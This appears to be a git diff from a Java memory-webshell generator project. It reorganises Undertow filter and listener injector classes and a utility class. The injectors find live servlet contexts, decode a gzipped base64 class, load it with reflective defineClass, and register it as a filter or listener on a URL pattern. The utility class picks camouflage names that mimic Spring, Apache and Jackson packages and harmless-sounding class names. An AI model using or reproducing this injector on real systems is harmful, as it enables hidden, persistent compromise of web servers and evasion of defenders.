-                base64 = Class.forName("sun.misc.BASE64Encoder");
-                Object encoder = base64.newInstance();
-                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowFilterInjector.java

@@ -19,23 +19,11 @@ import java.util.zip.GZIPInputStream;
  */
 public class UndertowFilterInjector {
 
-    public String getUrlPattern() {
-        return "{{urlPattern}}";
-    }
-
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() throws IOException {
-        return "{{base64Str}}";
-    }
-
     static {
         new UndertowFilterInjector();
     }
 
+
     public UndertowFilterInjector() {
         try {
             List<Object> contexts = getContext();
@@ -47,79 +35,6 @@ public class UndertowFilterInjector {
         }
     }
 
-    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
-        List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
-        for (Thread thread : threads) {
-            try {
-                Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
-                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
-                if (servletContext != null) {
-                    contexts.add(servletContext);
-                }
-            } catch (Exception ignored) {
-            }
-        }
-        return contexts;
-    }
-
-    private Object getFilter(Object context) {
-        Object filter = null;
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        if (classLoader == null) {
-            classLoader = context.getClass().getClassLoader();
-        }
-        try {
-            filter = classLoader.loadClass(getClassName()).newInstance();
-        } catch (Exception e) {
-            try {
-                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
-                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-                defineClass.setAccessible(true);
-                Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-                filter = clazz.newInstance();
-            } catch (Throwable ignored) {
-            }
-        }
-        return filter;
-    }
-
-    public void addFilter(Object context, Object filter) {
-        String filterClassName = filter.getClass().getName();
-        try {
-            if (isInjected(context, filterClassName)) {
-                return;
-            }
-            Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
-            Object deploymentInfo = getFV(context, "deploymentInfo");
-            Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
-            invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
-            Object deploymentImpl = getFV(context, "deployment");
-            Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
-            invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
-            invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
-        } catch (Throwable e) {
-            e.printStackTrace();
-        }
-    }
-
-    @SuppressWarnings("unchecked")
-    public boolean isInjected(Object context, String evilClassName) throws Exception {
-        Map<String, Object> filters = (HashMap<String, Object>) getFV(getFV(context, "deploymentInfo"), "filters");
-        if (filters != null) {
-            for (Map.Entry<String, Object> filter : filters.entrySet()) {
-                Class<?> filterClass = (Class<?>) getFV(filter.getValue(), "filterClass");
-                if (filterClass != null) {
-                    if (filterClass.getName().equals(evilClassName)) {
-                        return true;
-                    }
-                }
-            }
-        }
-        return false;
-    }
-
-
     @SuppressWarnings("all")
     static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
         Class<?> decoderClass;
@@ -133,7 +48,6 @@ public class UndertowFilterInjector {
         }
     }
 
-
     @SuppressWarnings("all")
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
@@ -222,4 +136,88 @@ public class UndertowFilterInjector {
             }
         }
     }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        for (Thread thread : threads) {
+            try {
+                Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
+                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
+                if (servletContext != null) {
+                    contexts.add(servletContext);
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    private Object getFilter(Object context) {
+        Object filter = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            filter = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                filter = clazz.newInstance();
+            } catch (Throwable ignored) {
+            }
+        }
+        return filter;
+    }
+
+    public void addFilter(Object context, Object filter) {
+        String filterClassName = filter.getClass().getName();
+        try {
+            if (isInjected(context, filterClassName)) {
+                return;
+            }
+            Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
+            Object deploymentInfo = getFV(context, "deploymentInfo");
+            Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
+            invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
+            Object deploymentImpl = getFV(context, "deployment");
+            Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
+            invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
+            invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    @SuppressWarnings("unchecked")
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        Map<String, Object> filters = (HashMap<String, Object>) getFV(getFV(context, "deploymentInfo"), "filters");
+        if (filters != null) {
+            for (Map.Entry<String, Object> filter : filters.entrySet()) {
+                Class<?> filterClass = (Class<?>) getFV(filter.getValue(), "filterClass");
+                if (filterClass != null) {
+                    if (filterClass.getName().equals(evilClassName)) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowListenerInjector.java

@@ -17,14 +17,6 @@ import java.util.zip.GZIPInputStream;
 public class UndertowListenerInjector {
 
 
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() throws IOException {
-        return "{{base64Str}}";
-    }
-
     static {
         new UndertowListenerInjector();
     }
@@ -41,76 +33,6 @@ public class UndertowListenerInjector {
         }
     }
 
-    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
-        List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
-        for (Thread thread : threads) {
-            try {
-                Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
-                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
-                if (servletContext != null) {
-                    contexts.add(servletContext);
-                }
-            } catch (Exception ignored) {
-            }
-        }
-        return contexts;
-    }
-
-
-    private Object getListener(Object context) {
-        Object listener = null;
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        if (classLoader == null) {
-            classLoader = context.getClass().getClassLoader();
-        }
-        try {
-            listener = classLoader.loadClass(getClassName()).newInstance();
-        } catch (Exception e) {
-            try {
-                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
-                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-                defineClass.setAccessible(true);
-                Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-                listener = clazz.newInstance();
-            } catch (Throwable ignored) {
-            }
-        }
-        return listener;
-    }
-
-    public void addListener(Object context, Object listener) {
-        try {
-            if (isInjected(context, listener.getClass().getName())) {
-                return;
-            }
-            Class<?> listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
-            Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
-            Object deploymentImpl = getFV(context, "deployment");
-            Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
-            Class<?> managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
-            Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
-            invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
-        } catch (Throwable e) {
-            e.printStackTrace();
-        }
-    }
-
-    public boolean isInjected(Object context, String evilClassName) throws Exception {
-        List<?> allListeners = (List<?>) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
-        if (allListeners != null) {
-            for (Object allListener : allListeners) {
-                Class<?> listener = (Class<?>) getFV(getFV(allListener, "listenerInfo"), "listenerClass");
-                if (listener != null) {
-                    if (listener.getName().contains(evilClassName)) {
-                        return true;
-                    }
-                }
-            }
-        }
-        return false;
-    }
-
     @SuppressWarnings("all")
     static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
         Class<?> decoderClass;
@@ -124,7 +46,6 @@ public class UndertowListenerInjector {
         }
     }
 
-
     @SuppressWarnings("all")
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
@@ -213,4 +134,81 @@ public class UndertowListenerInjector {
             }
         }
     }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        for (Thread thread : threads) {
+            try {
+                Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
+                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
+                if (servletContext != null) {
+                    contexts.add(servletContext);
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    private Object getListener(Object context) {
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
+            } catch (Throwable ignored) {
+            }
+        }
+        return listener;
+    }
+
+    public void addListener(Object context, Object listener) {
+        try {
+            if (isInjected(context, listener.getClass().getName())) {
+                return;
+            }
+            Class<?> listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
+            Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
+            Object deploymentImpl = getFV(context, "deployment");
+            Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
+            Class<?> managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
+            Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
+            invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        List<?> allListeners = (List<?>) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
+        if (allListeners != null) {
+            for (Object allListener : allListeners) {
+                Class<?> listener = (Class<?>) getFV(getFV(allListener, "listenerInfo"), "listenerClass");
+                if (listener != null) {
+                    if (listener.getName().contains(evilClassName)) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
 }

generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java

@@ -11,6 +11,20 @@ import java.util.zip.GZIPOutputStream;
  */
 public class CommonUtil {
 
+    public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
+    private static final String[] PACKAGE_NAMES = {
+            "org.springframework",
+            "org.apache.commons",
+            "org.apache.logging",
+            "org.apache",
+            "com.fasterxml.jackson",
+            "org.junit",
+            "org.apache.commons.lang",
+            "org.apache.http.client",
+            "com.google.gso",
+            "ch.qos.logback"
+    };
+
     public static byte[] gzipCompress(byte[] data) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
@@ -30,19 +44,6 @@ public class CommonUtil {
         return sb.toString();
     }
 
-    private static final String[] PACKAGE_NAMES = {
-            "org.springframework",
-            "org.apache.commons",
-            "org.apache.logging",
-            "org.apache",
-            "com.fasterxml.jackson",
-            "org.junit",
-            "org.apache.commons.lang",
-            "org.apache.http.client",
-            "com.google.gso",
-            "ch.qos.logback"
-    };
-
     private static String getRandomPackageName() {
         return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
     }
@@ -51,8 +52,6 @@ public class CommonUtil {
         return getRandomPackageName() + ".ErrorHandler";
     }
 
-    public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
-
     public static String generateInjectorClassName() {
         return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)];
     }